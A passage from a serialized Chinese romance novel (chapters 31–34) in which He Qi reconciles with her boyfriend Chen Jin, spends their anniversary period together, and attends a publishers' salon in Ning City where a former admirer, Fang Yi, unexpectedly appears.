陈津闻言意外地挑眉,似有顾虑地往厨房的方向瞟了一眼,反问:“真的?” 何漆顺着他那一眼思考,想起昨今两天的食材都没做掉,生鲜放下去都得坏了,于是改变想法:“算了,下次吧。” 提起这一茬,很难不联想到昨天,何漆一时内心复杂。 那事儿还真说不上怪谁,就是时机凑得不太巧,那么冷的天,陈津就在她家门口等了 不知多久,到头来还是吃了个闭门羹。 不委屈吗? 何漆想得出神,目光自然地落在陈津垂于身侧的手臂上,他右手手背布着凸起的青筋,修长的手指微微蜷起,骨节分明。 她心念一动,竟抬手握住了陈津的一根手指。 何漆明显感觉到身前人因为她突如其来的动作而变得僵硬—— 不舍得后退也不敢前进,更不知道何漆到底对他的哪部分突然兴起,于是无法献媚讨好也没勇气欲拒还迎,只能把自己固定在相同的状态,任凭何漆摆布。 陈津的手比她的热,温度在互相传递,何漆把头往前靠了点,依在他的身上。 她用三根手指捏在了陈津无名指的根部,然后像孩童把玩物件般,一点点从指根捋到指尖,最终在他指尖上轻轻捏着。 陈津被她这细微磨人的动作刺激,上半身有向后仰的趋势,却努力克制着。 何漆还是没有说话,然而反常的举止已经昭示了她内心的天翻地覆。 她忽然觉得没那么严重了。 心头莫名感到豁然开朗,像是心里有扇一直不敢打开的门,旁人怎么敲怎么推她都死死抵着,这么多年过去,谁也没能把门弄开,就在她以为这门其实无坚不摧时,毫无预兆的一阵微风,就那样轻轻把门吹开。 一枚戒指而已。 何漆绝不认为自己两个月前的歇斯底里是小题大做,只是她现在想法不一样了。 一枚戒指,其实也代表不了什么,就像给钻石赋予爱情的意义也只是一小部分人类的阴谋,这世上能代表婚姻的只有结婚登记,而戒指是首饰。 婚姻不一定需要戒指,戒指也不一定需要婚姻。 即便陈津真的有要结婚的念头……那就等他想好了,向自己正式提出时,她再分手。 一个完美的、能完全符合她心意、照她想法做事的人不会存在,人总是在包容和被包容之间行走。 何漆彻底考虑清楚了,捏着陈津指尖的手改为和他十指相扣,脸蹭着他的衬衣抬起来,下巴还戳在他的腹部,对着陈津平和地弯了弯眼睛。 “我原谅你了。” 何漆感受到陈津的呼吸停止了,只有一双眼睛死死盯着她,好像要探究她话里的真假。 然而这显然无需分辨,何漆不经常开玩笑,也从不拿这种事开玩笑。 十指相扣的那只手,关节间突然好痛,陈津握她握得无比用力。 他忽然俯下身来要吻她,何漆却更快地抬手,用另一只手掌捂住他的下半张脸,轻轻地推远了一点。 手掌上边缘突然有湿润的触感,一滴泪堆积在那里,眨眼间沿着她的掌纹散开。 何漆有一瞬的诧异,稍稍瞪大眼,随后无奈地露出一个笑。 何漆想,为一个人动容是没有办法的事。 如果心已经原谅了谁,却因为各种原因而强拧着不肯为他感动,那也是很不幸福的。 何漆决定给陈津一个机会,也给自己一种幸福的风险。 她问陈津:“我们和好,你同意吗?” 陈津是这件坏事的主谋,所以原谅的权力在何漆,但他们这段时间都给了彼此委屈受,那么和好也需要两个人点头。 何漆看着陈津,在他的目光中渐渐松开手。 而陈津单膝跪下来,用一个吻回答了她—— 作者有话说:感谢小天使的霸王票感谢[比心] 第32章 吻得绵长深入,陈津蹲跪在何漆身前,微微仰头不断去够她的唇,好像要将这段时间所亏欠的全都弥补回来。 何漆依旧坐在椅子上,左手与陈津十指交握,右手原本捏在椅面边缘,无奈陈津不断往她的方向侵占过来,为了保持平衡,她不得不将右手转而扶到他的肩头。 两唇都吻得水润晶莹,何漆往后退开点喘气,眼睛缓缓睁开,目光落在陈津的唇上,这时候才察觉他嘴唇一角那块颜色偏深的疤。 她伸了根手指柔柔地点那处,声音轻得不能再轻:“怎么还没好透?” 陈津没立刻回答,何漆便抬眼去看他,目光从唇一路往上,越过他的鼻梁,望进一双深邃迷离的眼里。 目光相接的瞬间,陈津又倾身吻过来,这次抬手摘掉了她一直硌着自己鼻梁的眼镜,几乎是用气声回答:“很快就会好了。” 唇齿纠缠间,陈津慢慢放开了何漆,一手抄过她的两腿,一手搂住她的背,干脆利落地把人从椅子上抱起来。 何漆惊了一跳,发现他是要往卧室走,趴在他肩头赶忙道:“不行!我还什么东西都没吃,没力气,而且家里没有……” 她说话的声音越来越轻,最后一个字像是吞回了口中,好在陈津听清了,短暂停下脚步,扭转方向抱着她回到客厅。 陈津小心地把何漆放在沙发上,接着直起身,茶几摆放得离沙发过近,能站人的空间很逼仄,他低头道:“那我先去做饭,顺便点个外卖。” 四条腿在窄小的缝隙里交错摆放着,陈津转身要走,他与何漆的小腿却不可避免地隔着单薄的面料互相磨蹭,只那么一下,他便迈不开步子了。 何漆没戴眼镜,视线略微失焦,却还是用一副了然的神情、笑眼盈盈地盯着陈津重新转回身,然后再次蹲跪下来和她接吻。 外卖来了两次,第二回两人刚休战,何漆饿得不行,陈津再去做饭显然来不及,最终还是点了外头的晚餐。 何漆套了条睡裙从卧室出来,陈津没穿上衣,正在餐桌边拆餐具,他见何漆慢吞吞地挪着步子,提前把椅子拉开。 两人左右落座,何漆在椅面上盘起双腿,整个人被椅子端着,连咀嚼的力气都好似没有,格外细嚼慢咽。 她原本扎着低马尾的头发此刻乱蓬蓬的,额边耳后跑出好几缕,一低头吃饭就胡乱垂落着。 陈津见她懒得整理,微侧点身,把她脑后的皮筋小心地捋下来,替她重新把头发绑住,虽然扎得松松垮垮,但起码不会再影响吃饭。 一碗鳗鱼饭吃得何漆差点力竭,眼看已经八点多,陈津还在一旁收拾垃圾,她清楚陈津今晚绝对是赶不走的,刚刚送来的外卖里还有临时买的男士睡衣,索性不多费口舌,先去浴室洗漱。 用一个热水澡洗掉全身的疲惫与汗渍,何漆火速爬进卧室的被窝里,找了本名著当睡前读物。 陈津收拾好餐桌也进来洗澡,从浴室出来时携带着很浓的沐浴露香气,他脱掉拖鞋,挤进何漆的单人床里。 顾念着陈津明天还得上班早起,何漆把顶上的大灯关了,只留一盏床头的小台灯给自己照明。 陈津往何漆这儿贴过来,看到她正在用手机看电子书,想起什么:“我明天把你的平板带过来。” 何漆点头说“好”,立马又沉浸在书里,陈津见她入神,便不开口打扰,闭上眼打算自顾自入睡。 然而他的体温太热,何漆很快被捂得不适应,思绪飘远,密密麻麻的字在眼前重影,她发了会儿呆,突然扭头道:“昨天下午我其实……” 她话才说到一半,陈津缓缓掀开眼,双手撑到她身体两侧,猛地起身堵住了何漆的嘴。 水声像是交响乐似的在安静的屋内此起彼伏,好不容易一曲结束,何漆鼻尖全是浓郁的花香。 她垂眸看着一言不发的陈津,无措地抿起唇,意识到他似乎并不想听这件事,可何漆只是想稍作解释,昨天出门见方翊是情急之下的无奈之举。 虽然不明白到底是什么原因让陈津对这件事避之不及,但何漆今夜格外大度地选择退让:“你早点睡吧,明天还要上班。” 陈津神色晦暗不明地凝视了何漆片刻,随即又轻咬着她接了个很长的吻,接着双臂环住何漆的腰,重 新栽回床上。 何漆被亲得心脏直跳,对他的情绪行为都有点摸不着头脑,又听陈津在身侧道:“什么时候住回去?” 这个问题叫何漆回了点魂,镇定下来戳了戳屏幕,手机上的书页连翻两次,她却没心思看:“先不回去,这里我住得挺好的,房租到期再说。” “房租不用管,钱我可以给你。”陈津说。 何漆嗤笑一声:“你给我什么?你现在的钱都在我手里。” 不知怎的,这句调侃仿佛让陈津莫名安定下来,他轻“嗯”了一声,竟没有继续纠结这个话题,翻个身在何漆身边平躺,缓缓合上眼入睡。 何漆今天下午三点多才睡醒,生物钟彻底乱套,不知要熬到几点才会有困意,占着一半的单人床,借着床头灯恬静地看书。 大约过了一个小时,手机忽然弹出条语音通话邀请。 她先前没给手机静音,这会儿电话铃在只有呼吸声的屋内突兀响起,她生怕吵醒陈津,手忙脚乱地按下静音键,然后才看清发来这个通话邀请的联系人—— 方翊。 方翊,这个名字在夜色中发着幽幽的光,倒映在何漆眼底,在她心里默默滚了一遍。 何漆不知道他这个点打来电话会有什么事,但不管是什么情况,她在昨天都已经说清楚了,所以这支电话她显然不会接。 铃声被静止,一切提醒、催促她快点接电话的声响都像是被一双大手死死捂住,没有任何外力能影响她的决策。 何漆全神贯注在眼前的屏幕上,所以不曾察觉,在铃声趁她不备偷袭进这个夜晚、响起第一声时,身侧那个她以为已经熟睡的男人缓缓睁开了眼,此刻正半垂着眼皮,不动声色地将她思考的模样尽收眼底。 何漆其实并没有考虑多久,只是方翊这个名字出现在何漆世界里的每一分每一秒,在陈津看来似乎都分外漫长。 直到她的指尖碰上挂断键,那个名字随之消失,陈津才恍如过了一个世纪般重新闭起眼。 对身旁男人的变化毫无察觉的何漆,正在给方翊下最后通牒。 「微信我删了,别再联系我。」 发完,她如自己所说的那样,干脆利落地删除了联系人。 何漆并没有被这个插曲扰乱心情,看书到凌晨两点,将灵感与心得全都记在备忘录里,打了好几个哈欠,关灯歇下。 第二天陈津起床洗漱时,何漆意识有片刻的苏醒,但困意太浓眼皮太重,只能听着陈津刻意放轻动作也避免不了的“沙沙”声,不知过了多久,她闭着的眼睫上传来一种很柔软的触感,一触即离,来不及多想什么,她又昏沉地睡了过去。 接下来几天,陈津像是在何漆这儿安了家,不仅把她的平板带来了,顺带还捎来了自己的一只行李箱,里头满满当当装着他的生活用品,活像逃荒来的。 得亏何漆卧室那张单人床不算小得可怜,两人挤挤倒也能睡得舒服,只是她不知道陈津都快二十八岁了,每天都哪来的精力瞎折腾,害得她有几天萎靡不振,坐在沙发上打着字都能睡着。 好在这人下班的时间变得逐渐正常了,有时候七八点才能到她这儿,就会提前点好外卖送过来,何漆饿了也不等他,自己吃自己的,留一份给他保温。 而早在跟陈津和好第二天,何漆就同李家佳说了情况,对面出乎意料地并不感到震惊,只回了一个意味深长的“点头”表情包和一句问话。 「你不在乎那事儿了?」 何漆回:「想通了一部分吧。」 她俩对彼此的感情生活确实不多操心,也许是过于熟悉,所以不管对方做出什么选择,都能理解其背后的理由- 不久,元旦临近,编辑洛洛给何漆带来了一个好消息。 回声出版社将按照惯例在元旦前一天举办一场类似沙龙的聚会活动,邀请了不少和回声有过合作的知名作家前来,并且举办地点就在宁市,也就是回声出版社的大本营。 连带她们这些在回声出版社过了稿的小作家也都可以应邀前来。 何漆盯着洛洛发来的邀请函,在特邀嘉宾一列上看到了好几个眼熟的童书作家,心里一阵澎湃,立刻回复自己会去参加。 唯一让人略有纠结的就是这时间…… “十二月三十一号?”李家佳正在逛超市,一手举着手机放在耳边,一手推购物车,时不时停下来看商品,一心多用,导致语速偏慢,“那不是挺好的,又在宁市举办,还有比你更方便参加的人吗?” 何漆蹲坐在椅子上,很没有坐相,摸了摸颈侧道:“就算是在北城我也飞去参加啊,主要是时间不凑巧。” 十二月三十一号是何漆跟陈津的恋爱纪念日,她们眼下又刚和好,只怕有点敏感特殊。 李家佳却不觉得这是个问题:“你不是说那活动是晚宴性质的?大不了就中午和陈津庆祝,他总不敢耽误你的工作。” 这种显而易见的解决方案何漆当然不会想不到,于是她突然的沉默让气氛微妙起来。 李家佳慢半拍地意识到什么,拿着鲜牛奶看保质期的手顿了顿,在开口前先听见何漆的坦白。 “我不想他跟我去宁市。”—— 作者有话说:感谢小天使们的霸王票和营养液[摸头] 第33章 是夜,床头昏黄的暖光打在平板上,身侧的男人束手束脚地躺着,何漆心不在焉地揉着自己的一侧耳垂,半晌扭头轻轻唤了一声:“陈津。” 面容仿佛熟睡的男人缓缓睁开眼,嗓音带着疲倦的低哑:“怎么了?” “过两天,三十号的时候。”何漆先把时间抛了出来,停顿半秒,继续说,“我们回去住吧。” 陈津没料到她会说起这个,反应过来后眼神好似含着温和的笑,握住她摁压着自己耳垂的手,一起塞进温暖的被窝里。 “好啊。”他嗓音没方才那么哑了,又问,“怎么突然想回去?” 何漆感受到陈津的指腹正在自己发凉的手背上摩挲着,极尽亲昵的温存,这氛围让她一时有些张不了口。 但再不说就真的没时间了。 她只能循循善诱地铺垫:“三十一号那天,我得去趟宁市,晚上有出版社的活动,刚刚收到邀请。” 陈津轻抚她的动作明显停下了,转而变成了用自己的手掌整个包裹着她的手。 “这么突然?”陈津只随意询问一嘴,很快接受了这个突发情况,开始计划,“那我们早上开车过去,我订个那边的餐厅,吃完中饭……” 何漆不得不残忍地打断他:“我在三十号晚上订餐厅吧,或者等一号,我从宁市回来我们再过纪念日,正好你也不用请假……” 她的话语声越来越弱,最后被吞噬在夜色里,语气却显得不可动摇。 不知是不是错觉,何漆感到自己手背上的那只手不像刚刚那样炙热温暖了。 沉默在两人之间停留了很久,最终陈津问:“你那天中午有什么事。” “没有事。”何漆告诉他。 她不确定陈津有没有误解她的意思,是否还幻想着能送她去宁市,以为只是由于种种原因而抽不出时间同他吃饭。 于是何漆明确道:“那天我一个人去宁市吧。” 屋内静得可怕,何漆垂着眼,没有去看陈津的神色,放在膝盖上的平板自动熄屏,漆黑的镜面上映出她的面庞。 “一起去。”陈津的语气也变得不容置疑,紧紧包握着何漆的手,“我会订酒店,不用让你父母知道我去过,你可以自己回家住,第二天再来找我。” 何漆认真听着,眼神闪了闪,却没有再说什么,被包在陈津手里的那只手艰难地反转,轻轻回握- 另一头,李家佳拎着满满一大袋食品到家,刚在厨房整理完,就收到了来自李乐一的微信。 「 姐,你元旦回家不?」 李家佳知道自家表弟的德行,无事不登三宝殿,怎么看都觉得这条消息不怀好意。 「回屁,我就休息一天,懒得折腾。」 「哦哦,好吧。」李乐一遗憾得很不走心,接着又道,「我妈单位元旦的时候好像要办一个活动,她能带个亲属,我跟着去。」 李家佳眯眼看这条消息,更加肯定他绝对憋着什么坏心思,阴阳怪气地回复。 「厉害厉害,公猪上树了。」 李乐一被嘲讽惯了,这会儿没跟她斗嘴,全当她在夸自己,继续说事儿。 「我记得漆漆姐是不是给我妈那出版社投过稿啊?」 李家佳看见这段话皱了皱眉。 「你从哪知道的?」 「就是上次国庆烧烤啊,你俩跟我妈都快干仗了,回去之后我问了她,跟你就算了,跟漆漆姐怎么会闹矛盾,她就提了一嘴。」 「你妈说什么了?」 李家佳这么问着,心里却已经断定她亲姑姑嘴里不会有一句好话。 他妈说什么了?李乐一回忆了会儿,好像就说她看过漆漆姐写的文章,还不成熟,得多写写之类的? 反正他没想起什么特别的,含糊带过,又说起自己想知道的事儿。 「没说什么吧,那漆漆姐也会来活动吗?我想找她玩。」 李家佳看他开头那欲盖弥彰的五个字,心里冷哼一声,但早已习惯,一时不想计较。 「她去啊,你照顾着点,我怕她在外面太拘谨了,也看着点你妈,那种场面她要是敢下何漆面子,我绝对往你家扔炸弹。」 「知道知道,我妈不会的。」 李乐一在宿舍懒散地翘着脚,回完消息立马不带留恋地退出和李家佳的聊天框,反手点进另一个,噼里啪啦地打字。 「跟我姐打听了,何漆姐会去。」 对方回了个ok的手势:「那天阿姨的亲属名额给我?」 「你不去名额也是空着,反正我才不去那种鬼活动。」 「好。」对方回,「寒假来我家打游戏,新换了设备。」- 转眼就到了三十号,江市各商铺刚换下圣诞节的装束,年轻男女们与朋友商量起跨年去处。 何漆原本跟陈津约定好一块儿早起,他去上班前把自己送回家里,可惜昨晚有点失眠,何漆没能起得来床。 一直到日上三竿,睡得彻底舒服了,何漆才慢悠悠地从床上爬起,自己打车离开。 真要算起来,她已经有两个多月没回来过了,家里不缺她的生活用品,因此只带了只装着电脑的随身包。 指纹锁解开,何漆推门,玄关处依旧板板正正摆放着一大一小两双拖鞋,好像她从未离开过。 再往房子里环视一圈,一种略带落寞的熟悉感涌上心头。 她一路径直走回自己的房间,屋内窗帘半开,外头正好的阳光洒进来,被褥被细心收拾过,平整松软,柜子上的摆件还是两个月前的样子,没落半点灰,除了床头放着的一个礼盒似乎没有被纳入清洁范围,表面覆了层很薄的细小灰尘。 何漆想起来,这是方翊送她的生日礼物,当初遗落在了陈津的车上,原来被他放在了这儿。 而在那个盒子前方,有更加抢眼的东西存在—— 一整排的香水。 那些香水瓶的形状圆且扁,每一瓶都倾斜着相同的角度,横列在床头柜的中央,简直像精心布置的柜台展示。 何漆并不记得自己有买过这种款式的香水,略带疑惑地走近。 她在那矮柜前蹲下来,一手扶着床保持身体平衡,一手拿起其中一瓶端详。 看到香水瓶身上用艺术体法语印刻的品牌名的刹那,何漆终于记起来了…… 这是之前她在很喜欢的一个博主那儿种草的法国当地的一款小众香水,后来无意听说陈津的小姨正在欧洲旅行,过段时间就会落地法国,于是随口问他能不能让小姨帮忙代购一瓶。 但因为距离他小姨到法国还有不少时间,所以何漆当时只匆匆给陈津看了眼香水的照片和品牌系列,并没有仔细说明究竟是哪一瓶。 再然后,就是一场谁都没料到的争吵,香水这种无关紧要的小事自然被抛之脑后。 何漆没想过陈津竟然还会拜托他小姨帮自己买回来,甚至因为不清楚是哪一瓶,索性买了一整个系列。 她单膝点在地上,说不出心里是什么滋味,将那排香水一瓶瓶拿起来仔细察看,终于找到了自己当时想要的那支。 香水名称翻译成中文,大意为“在爱之后”,她拔开盖子,对着床铺上侧的空气,按压喷头。 阳光照射下,香水喷雾像是烟花般炸开,一部分在空气中挥发,一部分散落沁入被子,何漆仰头轻轻嗅了嗅,是她喜欢的极其清淡的花香调。 那么多香水放在床头很容易不小心碰到,她一瓶瓶仔细拿好,送到了房间里专门摆放香水的收纳盒里。 她这收纳也很有讲究,不看品牌不看系列。 喜欢常用的放一堆,喜欢但由于留香过重只适用于小部分场合的放一堆,买的时候很喜欢但买回来又觉得没那么好闻了的再放一堆。 何漆猜测大概是她收纳习惯太私人的缘故,陈津才不好直接把这些香水放到这儿来。 等她坐在梳妆台前,把新香水一支支试完,全部归纳好之后,嗅觉都像是有点失灵,只好先走到客厅里活动,等新风系统净化卧室里的空气。 又过不久,手机里有几条编辑发来的消息,她便把阵地换到书房,打开电脑开始工作。 一直到下午五点,陈津在微信上问何漆晚饭想吃什么,给她点了份外卖到家,说自己还下不了班。 晚上七点,何漆已经躺在沙发上看电视,接到陈津的电话,得知他有工作交接出了点岔子,可能要再晚点回家。 何漆打了个哈欠,从沙发上爬起,拿了只小行李箱,开始整理明天去宁市要带的东西。 十点出头,陈津推开家门。 客厅里的灯全点着,光线遍布到玄关处,久违的亮堂。 两双原本并排摆放的拖鞋此时少了一双,何漆最常穿的运动鞋被踢在一旁,他看着这一幕,生出种难言的心安,全身都像是卸了力。 换好拖鞋,陈津往客厅里走,百寸的巨幕电视播放着一部美国情景喜剧,一对母女正将对话台词念得飞快,冷冷的幽默搭配上罐头笑声。 陈津走近了,看见何漆侧躺在沙发上,一条手臂弯曲着垫在脑袋底下,身体小幅度地均匀起伏,竟然就这样睡着了。 他站到何漆身前蹲下,静静地看了会儿她的睡颜,身后的电视里不断传来大段的英文和各种略显过时的音效。 “何漆。”陈津把手掌覆到她的脑后,用拇指抚了抚,轻声唤道,“漆漆。” 何漆睡得不沉,很快有了意识,但没睁开眼,只用脑袋蹭了蹭自己垫着的手臂,迷迷糊糊地问:“嗯?” 跟猫叫似的。 陈津的视线从她浓密的睫毛开始往下移,目光晦暗不明,最终情不自已般缓缓贴了上去。 唇上传来湿润柔软的触感,何漆含糊地回应,意识还没完全清醒,人先被亲软了。 陈津吻得越来越深,一直追逐着她的唇舌,手掌又扣在她的脑后,叫人动弹不得。 两瓣唇变得晶莹饱满,陈津另一只手覆在了何漆微微凹陷的腰侧,轻轻捏了下。 身体像是过电,何漆皮肤上也起了层鸡皮疙瘩,勉强退开个能够呼吸说话的距离,抗议道:“我要睡觉,明天得早起。” 陈津笑了声,又掐了掐她的腰,低声问:“洗漱过没有?” 何漆从喉咙里“嗯”了一声。 陈津又问:“想睡哪?” “沙发。”何漆困得不想动弹。 陈津闻言不再说话打扰她,站起身,弯腰将人平稳地打横抱起,缓步走回何漆的卧室。 被轻手轻脚地放到床上,柔软的被子覆盖在身上,何漆闻到了留香在床榻间的淡淡香水味。 她睡意很沉 ,却好像不够安稳,总有缕意识还清醒着,让她游离在半梦半醒之间。 陈津离开了她的卧室,客厅里偶尔有很轻的脚步声响起,再远些的就听不到了,他来来回回地走了两趟,估摸着是在收拾行李,最后一次回房后很久没了动静,应该是洗漱睡觉了。 何漆睡得很不踏实,像是有些魇着了,眉心无意识皱紧。 半晌,陈津的脚步声又开始在客厅回荡,并且越来越近、越来越近。 何漆清晰地觉知到他进了自己的卧室,似乎在床头的位置站了一会儿,接着,身侧的床垫凹陷下去。 有另一个体温高于她的热源靠过来,看不惯她整个人蜷缩成一团的睡姿,小心地握住她的小腿,替她伸展开手脚。 直到将何漆摆弄成了板板正正的平躺睡姿,陈津才满意地以相同姿势在她身边睡下。 而何漆已经彻底熟睡过去一会儿了。 翌日,何漆醒得早些,神清气爽地睁开眼,发觉自己像考拉抱树似的把手脚都架在了陈津的身上。 她缓缓爬起来,看了眼时间,距离定好的闹钟也只剩十分钟的倒计时,她一边揉着眼角,一边摇陈津的肩膀,叫道:“起床,陈津起床。” 陈津苏醒过来,碰到身侧何漆的手,轻轻握她一下,应了一声。 何漆先下床去洗漱,在床边找拖鞋时问他:“你昨天怎么睡到我这儿来?” 陈津仿佛刚睡醒还懵着,一时没回答这个问题,好在何漆也就随口一问,忙不迭进卫生间洗漱了。 对于今日的宁市之旅,何漆显然十分期待,因为晚上的活动着装没有特别要求,她就挑了衣柜里一件很喜欢的风衣。 两人收拾完,陈津也穿了件长款的大衣,拎着两只小行李箱,和何漆一块乘电梯到地下车库,自驾出发宁市。 元旦当前,路上还是堵,紧赶慢赶在饭点前到了宁市,何漆肚子饿,便决定直接去餐厅。 他们过节的风格已经逐年朴素,约定好除了生日外都不准备礼物,吃顿饭就成,倒不是因为别的,就是何漆发觉给男人送礼物是件很不简单的事儿。 加上陈津物欲低,很多礼物送出去,总觉得他喜欢却也没有太喜欢,实用的就用,不实用的就供起来,何漆越送越挖空心思、越送越觉得心虚,到最后就主动跟他约定,生日外的节日不要送礼物。 陈津没意见,于是演变成节日里单方面向何漆转账。 吃完饭两人便回酒店休息,何漆斜靠在沙发上看手机,陈津也在跟同事发消息。 突然有支电话进来,何漆看到备注上的“妈”,想起徐燕前些天问她元旦回不回来,她说正好有工作到宁市,但不一定能回家。 莫名的,何漆往陈津那方向瞄了一眼,随后假装若无其事地起身,走到阳台接起电话。 “喂。”何漆道。 徐燕的声音从电话那头传来:“漆漆,你回宁市没有?” “嗯,刚到。”何漆含糊其辞。 “那今天回来住吗?”徐燕问。 何漆闻言扭头往房间里望一眼,纠结片刻:“今天……应该回不来了,住的地方有安排。” “哦哦,这样。”徐燕应了两声,又问,“那明天呢,明天放假了吧?” “再说吧。”何漆垂下头,挪了挪脚步,没明确回答。 徐燕一时无言,讪讪地让她先忙工作,便挂断了电话。 下午一直在酒店休息,五点出头何漆陪陈津吃了点酒店提供的晚餐,很快就打算出发参加活动。 她心情悠哉,坐在沙发上翘着二郎腿,两条腿小幅度地晃动,在手机上查看往年活动的资讯。 陈津坐在一旁,单手支着脑袋,目光一错不错地盯着何漆,与她的满面春风相比,陈津的心情明显不太美丽,甚至说得上脸色阴沉。 眼看活动开始的时间临近,何漆收了手机站起身,进浴室整理服装,又问前台要了条皮筋,把披散着的头发利落地竖起。 陈津靠在浴室门外透过镜子看她,何漆对自己的形象满意了,转身对他笑道:“走吧。” 活动地点定在某个写字楼的展厅,陈津开车缓缓在楼前停下。 何漆低着脑袋还在跟谁发消息,半天才反应过来车已经停了,抬头往窗外张望两眼,解开安全带:“到了?好像是这儿。” 她伸手去开车门,才反应过来还没跟陈津告别,重新转回脸。 冬季的天黑得又早又沉,车内只有氛围灯亮着,何漆看向他,微弱的光线勾勒出她脸庞的线条和五官的形状。 她眉眼弯起雀跃的弧度,但总克制着,不会太过外露,只有眼睛里的笑意盈盈泛光。 “那我先走了?” “嗯。”陈津认真而沉静地看着她,像是珍惜什么,抬手摸了摸她的侧脸,“去吧。” 何漆对他眨了一次眼,接着开门下车,动作一气呵成。 陈津双手还放在方向盘上,背靠座椅,侧着头,透过车窗看向她的背影。 无端的,他想起了刚和何漆认识的场景。 一场含金量并不高的校赛,老师安排进队伍让他们多带带的女生,何漆则是那名女生一起带过来的。 关系户、和关系户的室友,可以这么说,反正陈津当时是这样觉得的。 好在她俩自知在给团队拖后腿,图书馆、自习室、研讨室,只要不跟课程冲撞,所有准备比赛的事情都不会缺席,两人性格好,肯干又虚心,很快就融入了团队。 而何漆性子内敛些,做事比其他人都专注,很少参与他们工作空余的说笑,一个人不受干扰地写项目书。 每当约定一起团队作业,何漆也总是最晚走的。 她做事效率很高,完成分内的任务也不会立马离开,而是接着看课或者做别的工作。 直到其余人看时间差不多相伴离开,她也只会淡淡表示自己还要再待一会儿。 有一回他们约着在图书馆备赛,离开后好久陈津才发现自己的蓝牙耳机落在了那儿,眼看就快到闭馆时间,遗落的东西大概会被人捡到前台,明天去领也来得及。 但他却还是从寝室跑着去了图书馆。 然而依旧没能赶上,图书馆已经闭馆赶人,有零零碎碎的学生背着包从里面出来。 深秋,陈津跑得身上发汗,觉得自己大概是昏了头,喘着两口粗气,打算转身回寝室。 正是他觉得自己今晚过于莫名其妙的那一秒,何漆的身影猝不及防出现在他的视野里。 背对着灯火阑珊的图书馆,单肩背着包,身型清瘦挺拔,孤身一人,脚步平稳缓慢。 陈津站在侧方的小道上,被笼罩在没有路灯照明的阴影里,整个人像是怔住,目光钉在了女孩身上。 他看着何漆渐渐走远,然后停顿了一下,拿起手机。 三十秒后,陈津的微信响了一声,收到了何漆第一条除比赛以外的消息。 「学长,你的耳机好像落在图书馆,我放去前台了。」 就是从那一天起,陈津开始有意地留下,不再和其他人一起提前离开,而是等到何漆决定散场,和她结伴。 时间几乎能改变这世上的所有东西,但人们固执地认为小部分除外,例如陈津眼中何漆的背影。 他此刻就像那个夜晚,看着何漆以坚定清高的姿态越走越远,留给他的只有背影。 陈津的指尖在方向盘上有节奏地敲着,深思的神情不知在想什么。 一旁的车道上车流不息,一辆揽胜飞速地与其擦肩而过,最终驶入了写字楼的地下停车场—— 作者有话说:感谢小天使的营养液[眼镜] 漆姐学妹形态短暂出现。 陈津:灯火阑珊,我的心借了你的光时明时暗~ 第34章 展厅门口有两位年轻男女在迎宾,何漆上前出示了自己的邀请函,其中那位 女孩很是惊喜,一把拉住了何漆的手,问:“何漆?你是何漆?” 何漆稍稍被吓了一跳,随即对热情的年轻女孩露出温和的笑:“抱歉,你是?” “我是你的编辑!”女孩高兴得像是要跳起来。 何漆则露出恍然大悟的神情:“洛洛?” 洛洛本名姓韩,叫韩洛,看样子不过二十出头,真人比网上热情洋溢得多,要不是还得继续迎宾,恐怕要拉着何漆聊上一会儿。 在迎宾处签过到,走进展厅,已经有不少来宾到场,何漆略显无措地环视了一圈,发现大家都以四五个人为单位一群群聚集着,闲谈说笑,气氛融洽。 而她在这儿谁也不认识,唯一说过话的洛洛编辑还在外头迎宾,单打独斗的样子活像个突然来到的转校生。 她不太擅长主动融入陌生的群体,好在一个人也不会觉得不自在,索性先走到餐点区给自己找东西吃。 刚往盘子里夹了两块小蛋糕,肩膀处就被人轻拍了下,何漆疑惑地回头,看到一张完全出乎意料的脸。 方翊穿着剪裁得体的西装,头发精心打理过,将他活泼的气质压得沉稳几分,然而一开口,还是像只欢脱不记仇的小狗:“姐姐,好久不见。” 何漆一时呆在原地。 久吗?其实不久,然而这个用来寒暄的词总会叫人联想起上一次的见面。 何漆有些尴尬,更多的是不解,僵硬地问:“你怎么会在这儿?” 方翊盯着她的神情,一双圆杏般的眼睛露出点无辜,笑着回答:“我跟李阿姨来的。” 说完,他不等何漆有所反应,先拿掉她手上的餐盘放在一边,自然地扣上她的手腕,把她往展厅中心带:“我们待会再来吃,先去跟李阿姨打招呼。” 一个不留神,何漆被拽到了展厅的人群中,李秀兰正跟一名短卷发的女子相谈甚欢,她和方翊像两个愣头青似的笔直走过去。 好不容易站定,何漆用力把自己的手抽回来,对上李秀兰投来的目光,硬着头皮打招呼:“李老师。” 李秀兰没什么情绪地应了一声,倒是她身旁的卷发女子主动询问:“这位是?” “是我们出版社的新人作家,也是写儿童文学的,叫何漆。”意料之外,李秀兰竟立刻接过话头,详细地介绍起何漆,“她的首作会在一月的儿童杂志上刊登,到时候我寄给你一份,你给新人指点指点。” 李秀兰跟身边的女人似乎是熟识的朋友,谈话间带点玩笑与调侃。 何漆在一旁站着,找不到插话的时机,所幸李秀兰很快把目光转回她身上,介绍身旁的中年女子:“这位你一定有所耳闻,儿童文学界的知名作家,赵凡红。” 听到这个名字,何漆双眼缓缓瞪大,看到对方递过来的手,连忙握上去:“赵凡红老师!我是您的忠实读者,您的红月亮系列我都有读过,今天竟然有幸能见到您真人!” 赵凡红听到她真的能说出自己的作品来,顿时喜笑颜开,叫李秀兰一定别忘了把一月的儿童刊物寄过去。 李秀兰说好,又借着这个话题谈了几句,期间目光偶有在何漆和她身后的方翊之间轮转。 聊得差不多,李秀兰跟赵凡红先去餐点区拿吃的,何漆目送两人离开,紧紧提着的一口气才松懈下来。 她竟然真的跟那样知名的作家说上话了?有点不可思议…… 然而等人都不在眼前了,何漆才后知后觉地有些不知足,那么好的机会,她就这样用闲聊放跑打发了? 她对自己感到懊恼,转身想再看看赵凡红去哪了,全然忘记方翊一直在她身后站着,险些一头撞上去。 “姐姐,当心。”方翊见她站不稳,并不退开,而是伸手去扶住她的肩头,等她稳住了再松开。 何漆视线被他挡住,退开两步往侧边探出身子看了眼,确定那两人正在餐点区自助夹菜品。 方翊顺着她的视线往后看,问:“怎么了姐姐,还有没聊完的?” 何漆抬了抬下巴:“应该加个微信的,刚刚李老师一直看我是不是就在暗示?我脑子一热没看懂。” “我还以为是什么大事。”方翊耸肩无奈道,“那就过去加呗,反正我们也要过去吃东西。” 方翊行动力极强,在这个场子里毫不拘谨,想去哪就去哪,想跟谁聊就跟谁聊,主人翁似的。 他跟着何漆回了自助用餐的区域,见何漆一边心不在焉地往盘子里夹了点虾仁,一边左顾右盼寻找合适的时机。 